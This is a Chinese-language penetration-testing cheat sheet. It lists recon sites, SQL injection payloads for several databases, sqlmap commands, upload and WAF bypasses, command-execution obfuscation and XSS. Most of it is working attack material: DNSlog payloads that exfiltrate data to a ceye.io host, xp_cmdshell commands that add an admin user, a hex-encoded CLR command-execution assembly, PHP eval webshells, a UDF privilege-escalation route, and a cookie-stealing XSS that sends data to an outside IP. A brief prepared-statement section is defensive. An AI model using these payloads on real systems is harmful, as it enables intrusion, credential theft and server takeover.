渗透测试流程
- 前期交互
- 情报搜集
- 威胁建模
- 漏洞分析
- 渗透攻击
- 后渗透攻击
- 提交报告
信息收集
信息泄露
1.robots.txt
2.crossdomin.xml
3.sitemap.xml
4.后台目录
5.网站安装包
6.网站上传目录
7.mysql管理页面
8.phpinfo
9.网站文本编辑器
10.测试文件
11.网站备份文件(.rar、zip、.7z、.tar.gz、.bak)
12.DS_Store 文件
13..git,svn,vim缓存,技术文章,editor,sql,.mdb泄露
14.弱密码,爆破
已知ip
- [微步在线][https://x.threatbook.com/]
- [360qukae][https://quake.360.net/quake/#/index]
- [shodan][https://www.shodan.io/]
- [fofa][https://fofa.info/toLogin]
- [ip反查域名][http://ip.yqie.com/iptodomain.aspx]
- [whois][https://ipwhois.cnnic.net.cn/]
- [鹰图][https://hunter.qianxin.com/]
- [dig][]
- [nslookup][]
- [tracert][]
- [DNSdumpster][https://dnsdumpster.com/]
- [virstotal][ https://www.virustotal.com/gui/search ]
- [OneForAll][]
已知域名
- [在线子域名爆破][https://phpinfo.me/domain/] 遇到泛解析,记录ip即可
- [域名解析][http://dbcha.com/]
- [icp备案][https://beian.tianyancha.com/]
- [聚名][http://tools.bugscaner.com/subdomain/]
- [netcraft][https://searchdns.netcraft.com/]
- [ip138][https://www.ip138.com/]
- [全球ping][https://ping.chinaz.com/]
- [云悉定位][https://www.yunsee.cn/]
- [海外ping][https://get-site-ip.com/]
- [查同服主机][https://www.webscan.cc/]
- [whois][http://whois.chinaz.com/]
- [censys][https://search.censys.io/]
- [历史解析][https://crt.sh/]
- [钟馗之眼][https://www.zoomeye.org/]
- [layer挖掘机][]
- [subDomainsBrute --- 扫描真实IP][https://github.com/lijiejie/subDomainsBrute]
杂项
- [REG007][https://www.reg007.com/]
- [社工库][]
- [ github信息泄露][]
- [灯塔][]
- [学信网][]
- [领英][]
- [天眼查][https://www.tianyancha.com/]
- [ MaltegoCE][]
- [ip定位][https://www.opengps.cn/Data/IP/LocHighAcc.aspx]
- [ip定位][https://www.ipplus360.com/]
- [ip定位][www.chaipip.com]
- [ip定位][https://met.red/h/location/queryIp]
- [综合查询][www.ipip.net]
- [综合查询][https://www.whoxy.com/]
- [iplocation.com][https://dev.maxmind.com/geoip/geoip2/geolite2/]
- [综合查询][https://www.whoxy.com/]
- [综合查询][https://bgp.he.net/]
- [高德地图][] 修改 X-Forwarded-For 为IP地址,再次刷新
- [teemo --- 扫描邮箱][]
- [VPS供应商相关][https://myip.ms] 常见的vps厂商 DIGITALOCEAN Linode
- [VPS供应商相关][https://www.virustotal.com/gui/search ]
判断ip是否是CDN
- 原理
- 根据 Host 字段判断是否为绑定域名,进行跳转
- 特征
- CDN会绑定许多域名
- 判断
- 对反绑的域名进行查询 nslookup
- nslookup -q=cname baidu.com
- https://tools.ipip.net/cdn.php 查询
- 访问IP
- 通过ModHeader 修改 Host 字段值为域名
- 对反绑的域名进行查询 nslookup
判断ip状态
静动态判断
- 国内
- 存在rDNS为静态 www.ipip.net
- 查询相关备案信息 ipwhois.cnnic.net.cn
- ALLOCATED PORTABLE 动态IP,5G/4G/家庭宽带等
- ALLOCATED NON-PORTABLE 静态IP,专线宽带/IDC机房/企业出口
- 国外
备案信息
- 网站查备案
- 同一个备案/许可证号的网站
web安全
sql注入
注入方式
- GET注入
- POST注入
- 万能密码
- 二次注入
- 宽字节注入
- 报错注入
a. floor
ⅰ. select count(*),concat(0x3a,0x3a,(database()),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
b. UpdateXml报错(最长32位)
ⅰ. select updatexml(0,concat(0x7e,(database())),0);
c. extractvalue报错(最长32位)
ⅰ. select extractvalue(1, concat(0x5c,(database())));
- 盲注
- 布尔注入
- insert into注入
- DNSlog注入
- false注入
mysql注入
枚举所有数据表
Select table_schema,table_name from information_schema.tables
updatexml报错注入
' and updatexml(1,concat(0x7e,(database()),0x7e),1) -- - 爆出当前数据库
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) -- - 爆出当前用户
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- ' 爆出security数据库中表名
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- ' 爆出users表中字段
' and updatexml(1,concat(0x7e,(select group_concat(concat(id,username,password)) from security.users),0x7e),1) -- ' 获取数据
时延注入
' and if(1=1,sleep(5),0)%23 时间注入
' and if(length(database())>1,sleep(5),0)%23 时间注入判断数据库长度
' and if(substr(database(),1,1)='s',sleep(5),0)%23 时间注入获取数据库名
Select version() 查询数据库版本信息
Select @@version
Select 1,2,3 /*!40119 %2b 3*/ 判断数据库版本信息
union select 1,2,benchmark(10000000,sha1('shell')) 时间注入,hash加密
and (case when (1=1) then sleep(5) else 0 end) 时间注入
%2b(case+when+(database()="security")+then+1+else+0+end) 布尔型注入,基于数字
%2b(case when (length(database())%3d8) then 1 else 0 end ) 布尔型注入,基于数字
布尔注入
' and 'a'='a 判断注入
' and 'a'='b
' and if((1=1),1,0) -- ' if判断注入
' and if(length(database())<10,1,0) -- ' 判断数据库长度
' and if((substr((select database()),1,1))='a',1,0) -- ' 判断数据库名
' and if((substr((select user()),1,1))='r',1,0) -- ' 判断用户名
' and if((select count(*)table_name from information_schema.tables where table_schema='security')=4,1,0) -- ' 判断数据库有几个数据表
' and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1) > 3 ,1,0) -- ' 判断第一个表长度
' and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) ='a',1,0) -- ' 获取第一个表名
' and if((select count(*)column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) >1 ,1,0) -- ' 查询users表字段数
' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) = 1,1,0) -- ' 判断users表中字段长度
' and if((substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))='a',1,0) -- ' 查询表中第一个字段
DNSLOG注入
and (select load_file(concat('\\\\',(select database()),'.wa7yi1.ceye.io\\aaa'))) 获取数据库
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.wa7yi1.ceye.io\\yoyo'))) 获取数据表
and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.wa7yi1.ceye.io\\yoyo'))) 获取表中字段
and (select load_file(concat('\\\\',(select username from admin limit 0,1),'.wa7yi1.ceye.io\\yoyo'))) 获取字段内容
读写文件
union select 1,load_file('/etc/passwd') 读取文件
union select '<?php phpinfo(); ?>' into outfile "/var/www/html/1.php" 写入文件
mssql注入
- sql语句
Select name from sysobjects where xtype="U" 枚举所有用户数据表
- 注入语句
and exists(select * from sysobjects) 查询是否为MSSQL数据库
and (select IS_SRVROLEMEMBER('sysadmin'))>0 判断是否为SA
and (select IS_SRVROLEMEMBER('db_owner'))>0 判断是否有读写权限
and (select IS_SRVROLEMEMBER('public'))>0 判断是否有public权限
and (select @@version)=1 查询当前数据库版本
and (user)=1 查询当前用户
and (select db_name())=1 查询当前数据库
order by 查询表中字段
union all select 联合注入
union all select 1,(select db_name()), null, null 查询数据库名
union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null 爆表名
union all select 1,(select top 1 col_name(object_id('表名'),字段序号) from sysobjects), null,null 爆表中字段
union all select 1,(select top 1 username from manage),null,null 查询字段内容
' or 1=1 or '1'='1 显示所有数据
Admin' and 1=1 or '1'='1 通常用于登录框注入
Select @@version 查询数据库版本
MSSSQL命令执行
- xp_cmdshell
USE master
RECONFIGURE
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
exec master..xp_cmdshell 'net user admin test666 /add'
- COM
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
--exec sp_oamethod @luan,'run',null,'calc.exe';
exec sp_oamethod @luan,'exec',@exec output,'C:\\Inetpub\\wwwroot\\lu4n.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
- CLR 可以看做成mysql的udf,不过可以直接使用16进制代码来创建自定义函数,不需要写文件,很方便。
--DROP ASSEMBLY luan_exec;
--DROP FUNCTION dbo.shell;
--alter database [master] set trustworthy on;
--CREATE ASSEMBLY luan_exec FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c01030029d16a5a0000000000000000e00022200b013000000a00000006000000000000be2800000020000000400000000000100020000000020000040000000000000004000000000000000080000000020000000000000300408500001000001000000000100000100000000000001000000000000000000000006c2800004f000000004000007c03000000000000000000000000000000000000006000000c000000342700001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000c408000000200000000a000000020000000000000000000000000000200000602e727372630000007c0300000040000000040000000c0000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001000000000000000000000000000004000004200000000000000000000000000000000a0280000000000004800000002000500c4200000700600000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000133003005f00000000000000730e00000a256f0f00000a026f1000000a256f0f00000a176f1100000a256f0f00000a166f1200000a256f0f00000a176f1300000a256f0f00000a176f1400000a256f0f00000a036f1500000a256f1600000a266f1700000a6f1800000a2a1e02281900000a2a0042534a4201000100000000000c00000076322e302e35303732370000000005006c00000020020000237e00008c020000ec02000023537472696e6773000000007805000004000000235553007c0500001000000023475549440000008c050000e400000023426c6f620000000000000002000001471500000900000000fa0133001600000100000013000000020000000200000002000000190000000d00000001000000020000000000a0010100000000000600f90054020600660154020600460022020f007402000006006e00b5010600dc00b5010600bd00b50106004d01b50106001901b50106003201b50106008500b50106005a0035020600380035020600a000b50106009902a9010a00830222020a00d90122020600ea010a000600f7010a000000000001000000000001000100010010001d00b0013d00010001005020000000009600c70135000100bb200000000086181c0206000300000001009801000002009c0109001c02010011001c02060019001c020a0029001c02100031001c02100039001c02100041001c02100049001c02100051001c02100059001c02100061001c02150069001c02100071001c02100081001c0206008100cb011a0089002b0010008900d90215008900840115008900be02150089000202150089008b0210008100a0021f008100ab02230099002100280079001c0206002e000b003b002e00130044002e001b0063002e0023006c002e002b0076002e00330076002e003b007c002e0043006c002e004b008b002e00530076002e005b0076002e006300ac002e006b00d600048000000100000000000000000000000000a60200000200000000000000000000002c001400000000000200000000000000000000002c00a901000000000000003c4d6f64756c653e0053797374656d2e494f006d73636f726c696200636d640052656164546f456e64007365745f46696c654e616d6500477569644174747269627574650044656275676761626c6541747472696275746500436f6d56697369626c6541747472696275746500417373656d626c795469746c6541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c45786563757465006578650061726700746573742e646c6c0053797374656d006c75616e0053797374656d2e5265666c656374696f6e0072756e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d5265616465720054657874526561646572007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e496e7465726f7053657276696365730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730050726f63657373007365745f417267756d656e7473004f626a6563740053746172740074657374006765745f5374616e646172644f7574707574007365745f52656469726563745374616e646172644f7574707574007365745f4372656174654e6f57696e646f770000000000e388bea52dd89b46bc54e92695a9106b00042001010803200001052001011111042001010e042001010204200012450320000204200012490320000e08b77a5c561934e0890500020e0e0e0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f777301080100020000000000090100047465737400000501000000000e0100094d6963726f736f667400002001001b436f7079726967687420c2a9204d6963726f736f6674203230313800002901002434363864653931652d356661622d346431632d613639392d31323937343038343437663700000c010007312e302e302e300000000000000029d16a5a00000000020000001c010000502700005009000052534453c5a291c391233540a57b8322a05f0d8601000000443a5c615c7270635c746573745c746573745c6f626a5c52656c656173655c746573742e7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000942800000000000000000000ae280000002000000000000000000000000000000000000000000000a0280000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000200300000000000000000000200334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b00480020000010053007400720069006e006700460069006c00650049006e0066006f0000005c02000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000034000a00010043006f006d00700061006e0079004e0061006d006500000000004d006900630072006f0073006f00660074000000320005000100460069006c0065004400650073006300720069007000740069006f006e0000000000740065007300740000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e003000000032000900010049006e007400650072006e0061006c004e0061006d006500000074006500730074002e0064006c006c00000000005a001b0001004c006500670061006c0043006f007000790072006900670068007400000043006f0070007900720069006700680074002000a90020004d006900630072006f0073006f006600740020003200300031003800000000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000003a00090001004f0072006900670069006e0061006c00460069006c0065006e0061006d006500000074006500730074002e0064006c006c00000000002a0005000100500072006f0064007500630074004e0061006d00650000000000740065007300740000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000002000000c000000c03800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
--WITH PERMISSION_SET = UNSAFE;
--CREATE FUNCTION dbo.shell(@exe as nvarchar(200),@arg as nvarchar(200))RETURNS nvarchar(200) AS EXTERNAL NAME luan_exec.[luan.cmd].run;
SELECT dbo.shell('C:\\Inetpub\\wwwroot\\lu4n.com\\cmd.exe','/c whoami')
Oracle注入
Select owenr,table_name from all_table order by table_name 枚举所有数据表
Select banner from v$version 查询数据库版本
Select banner from v$version where rownum=1
sqlite注入
' or 1=1 -- ' 判断注入
'order by 6 -- ' 判断字段数
'union select 1,2,3,4,5 -- ' 联合注入
'union select 1,2,3,4,sqlite_version() -- ' 判断版本
'union select 1,2,3,4,(select count(name) from sqlite_master) -- ' 判断数据表的数量
'union select 1,2,3,4,(select name from sqlite_master limit 0,1) -- ' 查询数据表
'union select 1,2,3,4,(select count(sql) from sqlite_master) -- ' 判断数据表的字段
'union select 1,2,3,4,(select sql from sqlite_master limit 0,1) -- ' 查看表中字段
'union select 1,2,3,4,(select count(*) from users) -- ' 统计数据表中数据
access注入
and (select count(*) from msysaccessobjects) > 0 判断是否为Access数据库
order by 字段数
union select 1,2,3,4 from 表名 需要进行暴力破解数据表
DNSLOG注入
SQL绕WAF大法
- false注入(MYSQL隐式类型转换) https://www.anquanke.com/post/id/86021 2.关键字替换并混淆 https://www.cnblogs.com/croot/p/3450262.html
sqlmap
- GET传参
sqlmap -u "url" //这个URL必须含?
- POST传参
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
- COOKIE注入
sqlmap -u "url" --cookie "chsadj" --level 2 //这里的URL去掉?及其后的内容,并将它们放在cookie的内容里面
- tamper
sqlmap -u "url" -v 3 --batch --tamper "sac.py" //temper后面的插件可以去sql安装目录查找
- 自动检测表
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
- 时延两秒
Sqlmap –u “url” --delay 2
- 频率三次
Sqlmap –u “url” --safe-freq 3
- 伪静态
Sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html //在40后面加*
- 查看数据库
sqlmap -u "url" --dbs //查看所有数据库
sqlmap -u "url" --users //查看所有用户
sqlmap -u "url" --current-db //查看当前的数据库
sqlmap -u "url" --current-user //产看当前的用户
sqlmap -u "url" --is-dba //查看是否是最高权限
sqlmap -u "url" --passwords //查看所有密码
sqlmap -u "url" –hostname //查看主机名
sqlmap -u "url" privileges -U username //查看用户权限
sqlmap -u "url" –roles //查看用户角色
- 查看详细内容
sqlmap -u "url" --tables -D "database" //database这个数据库的表数据表
sqlmap -u "url" --columns -T "tables" -D "database" //查看tables这个数据表的字段
sqlmap -u "url" --dump "a,b,c" -C "columns" -T "tables" -D "database" //下载内容,后面的-CTDabc都是对下载的数据库表段的约束如果不加就是下载所有
- 文件查看
sqlmap -u "url" –file-read= //这个读取的文件会存在本地的结果目录,请认真看提示
- 文件写入
sqlmap -u "url" --file-write=本地文件路径 --file-dest=网站的绝对路径 //上传webshell用,需要dba权限
- 命令执行
sqlmap -u "url" --os-cmd "cmd" //执行cmd代表的命令,如cd C:/
sqlmap -u "url" --os-shell //进入数据库自带的shell
更多更详细更专业:[sqlmap][https://xz.aliyun.com/t/3010]
sql注入防御
SQL注入漏洞成因
● 用户能控制传参
● SQL语句中拼接了用户传参的内容、
● 拼接后的SQL语句必须等在数据库中方执行
什么是预编译?
1. 普通的SQL语句执行过程:
a. 客户端对SQL语句进行占位符替换得到完整的SQL语句
b. 客户端发送完整SQL语句到MySQL服务端
c. MySQL服务端执行完整的SQL语句并将结果返回给客户端
d. 一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)
e.
2. 预编译执行过程:
a. 把SQL语句分成两部分,命令部分与数据部分
b. 先把命令部分发送给MySQL服务端,MySQL服务端进行SQL预编译
c. 然后把数据部分发送给MySQL服务端,MySQL服务端对SQL语句进行占位符替换
d. MySQL服务端执行完整的SQL语句并将结果返回给客户端
e. 所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数 化,一般称这类语句叫Prepared Statements
f.
预编译的好处
1. 优化MySQL服务器重复执行SQL的方法,可以提升服务器性能,提前让服务器编译,一次编 译多次执行,节省后续编译的成本
2. 避免SQL注入
预编译如何设置
● # 定义预编译语句
○ PREPARE stmt_name FROM preparable_stmt; 、
● # 执行预编译语句
○ EXECUTE stmt_name [USING @var_name [, @var_name] ...];
● # 删除(释放)定义
○ {DEALLOCATE | DROP} PREPARE stmt_name;
use sql_inject;
prepare select_content from 'select id,name,content,released from products where
category = ? and released = ?'; #select_content可以理解为变量名
#单引号内的为模板
set @a='Gifts' #设置两个变量
set @b=0
execute select_content using @a,@b; #在select_content变量模板中依次填入a,b的值
Q:可能有人疑惑最终运行的代码还是拼接后的sql语句,为何能避免SQL注入
A:只对模板进行了编译,用户传的参数,不会进行编译,导致参数中sql语句不会执行
sql常见问题
- sleep()能不能写shell? 答:慢查询
- 写shell的条件? 答
a. 用户权限
b. 该目录写权限
c. null(写不了),空,路径
d. 重启mysql
- mysql写马成功,访问403是为什么? 答: 写入root,访问www权限
某个WAF系统,在注入时会提示:
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2022:02-22
提交页面:test.asp?id=22
提交内容:and 1=1
如何绕过拿shell?
答: 提交内容写马,连接页面是waf的页面,waf的日志文件
- outfile不能用了怎么办?
答:
- file_put_contents
- [dumpfile][https://www.cnblogs.com/7-58/p/14101610.html]
- outfile
- Sql注入写webshell条件?
1、secure_file_priv值不为null
2、知道绝对路径
select 1,"<?php @eval($_REQUEST['q']);?>",3 into dumpfile 'c:\\phptudy\\www\\1.php' 若有waf拦截时,可将webshell内容hex编码进行绕过。
- 简单的讲下UDF提取?
Mysql提权 – udf提权:
条件:
1、知道mysql用户名和密码,并且可以远程登录
2、mysql有写入文件的权限,即secure_file_priv的值为空。
UDF文件:
提权需要udf文件,sqlmap目录下有现成的udf文件:
cloak.py -d -i D:\Sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
使用Sqlmap\extra\cloak\cloak.py这个文件可以将其udf文件解码【sqlmap所自带的文件经过编码无法直接使用】
首先判断mysql版本,
mysql版本 < 5.2 , UDF文件导出到系统目录c:/windows/system32/
mysql版本 > 5.2 ,UDF文件导出到安装路径MySQL\Lib\Plugin\
select @@datadir; //查看mysql路径
如果没有lib文件夹:
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录
如果没有plugin文件夹: select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
创建函数sys_eval:
create function sys_eval returns string soname 'udf.dll'
执行命令:
select sys_eval('whoami');
文件上传
- 前端校验,抓包改
- 后缀校验
- 黑白名单校验
- .htaccess
<FilesMatch "2.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
- ::$data
- %00截断
- 图片马
- 条件竞争
- .user.ini
GIF89a
auto_prepend_file=a.jpg
WAF绕过
安全狗
- 文件属性绕过
数据包Content-Disposition: form-data; name="file"; 中filename="ian.php"
将form-data; 修改为~form-data;
- 大小写绕过
将Content-Disposition 修改为content-Disposition
将 form-data 修改为Form-data
将 Content-Type 修改为content-Type
- 通过删减空格绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格
将form-data; name="file"; 分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面 增加一个空格
- 通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm-data
将 from-data 修改为 form-d+ata
- 双文件上传绕过
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传">
</form>
- HTTP header属性绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form-data 为*来绕过
Content-Disposition: *; name="file"; filename="yjh.php"
- 等效替换绕过
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格。
- 修改编码绕过
使用UTF-16、Unicode、双URL编码等等
- 脏数据绕过,在一个数据包中加入大量无用字符
- 分片绕过,将一个数据包分片传输 使用split进行分割,分割单个文件为500k split.exe -b 500k fscan.exe test
对文件单个上传后合并 copy /b test* test.exe 功能正常
畸形数据包
畸形数据包
删掉content-type
构造多个filename
content-type后面加TABLE键
换行boundary
文件名前面加空格
文件名前面加单引号
WTS-WAF绕过上传
原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度云上传绕过
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里云上传绕过
源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。
360主机上传绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition
文件解析漏洞
在默认Fast-CGI开启状况下,访问以下网址,服务器将把xx.jpg文件当做php解析并执行。
http://www.xxx.com/xx.jpg/.php
Nginx <8.03 空字节代码解析漏洞
影响范围:Nginx0.5.,0.6., 0.7 ⇐ 0.7.65, 0.8 ⇐ 0.8.37
访问以下网址,服务器将把xx.jpg文件当做php解析并执行。
http://www.xxx.com/xx.jpg%00.php
CVE-2013-4547 Nginx解析漏洞
http://www.xxx.com/a.jpg%00\0.php
http://drops.wooyun.org/tips/2006
apache解析漏洞
访问以下网址,服务器将把xx.php.owf.rar文件当做php解析并执行。
http://www.xxx.com/xx.php.owf.rar
命令执行
php代码执行函数
Eval() 把字符串作为PHP代码执行 <?php @eval($_POST['shell']); ?>
Assert() 检查一个断言是否为Flase,可以用来执行代码
Preg_replace() 执行一个正则表达式的搜索和替换 <?php preg_replace("//e",$_GET['shell'],"start testing...");?>
Call_user_func() 把第一个参数作为回调函数调用 <?php $test=$_GET["test"];$new_func=create_function('$a,$b', $test);$new_func(2,M_E);?>
Call_user_func_array() 调用回调函数,并把第一个数组参数作为回调函数的参
Array_map() 为数组的每个元素应用回调函数
php系统执行函数
System() 执行外部程序,并显示输出 <?php system($_GET['cmd']); ?>
Exec() 执行外部程序,不回显 <?php exec($_GET['cmd']); ?>
Shell_exec() 通过shell环境执行命令,不回显 <?php shell_exec($_GET['cmd']); ?>
Passthru() 执行外部程序并显示原始输出
Pcntl_exec() 在当前进程空间执行指定程序
Popen() 打开进程文件指针
Proc_open() 执行一个命令,并且打开用来输入\输出的文件指针
`` 反引号命令执行(系统层面用于linux) <?php echo `whoami` ?>
命令执行绕过
ca$1t 特殊变量绕过 ca$1t /etc/passwd
ca$@t
Ca''t 单引号绕过 Ca''t /etc/passwd
Ca""t 双引号绕过 Ca""t /etc/passwd
Ca\t 反斜杠绕过 Ca\t /etc/passwd
echo "d2hvYW1p"|base64 -d|bash Base64编码绕过 echo "whoami"|base64 -d|bash
echo "636174202f6574632f706173737764" | xxd -r -p|bash Hex编码绕过 echo "cat /etc/passwd" | xxd -r -p|bash'
a=l;b=s;$a$b 变量绕过 Ls
a=c;b=at;c=/etc/passwd;$a$b ${c} 文件内容绕过 Cat /etc/passwd
${IFS} 空格绕过 Cat${IFS}/etc/passwd
%09
Cat</etc/passwd 重定向绕过(空格绕过)
{cat,/etc/passwd} 花括号绕过(空格绕过)
ip""config Windows双引号绕过
ip^config windwos ^号绕过
$(tr "[A-Z]" "[a-z]"<<<"WHOAMI") ascii绕过
$(a="WhOaMi";printf %s "${a,,}") 变量绕过
$(rev<<<"imaohw") 反命令绕过 whoami
iex $('imaohw'[-1..-20] -join '') windows powershell 反命令绕过 whoami
bash<<<$(base64 -d<<<d2hvYW1pCg==) base64绕过 whoami
$(base64 -d<<<YmFzaAo=)<<<$(base64 -d<<<d2hvYW1pCg==)
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) iex"$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" powershell base64绕过 whoami
命令分隔符
linux
; 前面的执行完后执行后面命令 Whoami ; cat /etc/passwd
| 只显示后面的结果 Ls | whoami
|| 前面出错才执行后面语句 Lsaa || whoami
& 前面出错,在执行后面语句 Aaa & whoami
&& 前面命令出错,后面的命令也不执行 Whoamiiii && whoami
%0a 前面的执行完后执行后面命令(浏览器执行) 127.0.0.1%0awhoami
${LS_COLORS:10:1} 环境变量绕过 ;
$(tr '!-}' '"-~'<<<:) ascii绕过 ;
windows
& 语句一起执行,不管对错 Dirr & whoami
&& 前面的语句错误,后面的语句不执行 Dirr && whoami
| 执行后面的语句 Dir | whoami
|| 前面出错才会执行后面语句 Dir || whoami
cd c:%HOMEPATH:~0,-11% 环境变量绕过 cd c:\
$env:HOMEPATH[0] powershell变量绕过 ;
XSS
介绍
跨站脚本(Cross-Site Scripting,简称为XSS或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页是就会受到影响。恶意用户利用XSS代码攻击成功后,可能得到很高的权限(如执行一些操作)、私密网页内容,会话和cookie等各种内容。
分类
- dom型
- 反射型
- 存储型
利用
- 弹cookie
"><script>document.write('<img src="http://192.168.0.105:1233/?'+document.cookie+'" />')</script>
- 页面嵌入
<iframe src=http://baidu.com width=0 height=0></iframe>
- js引用
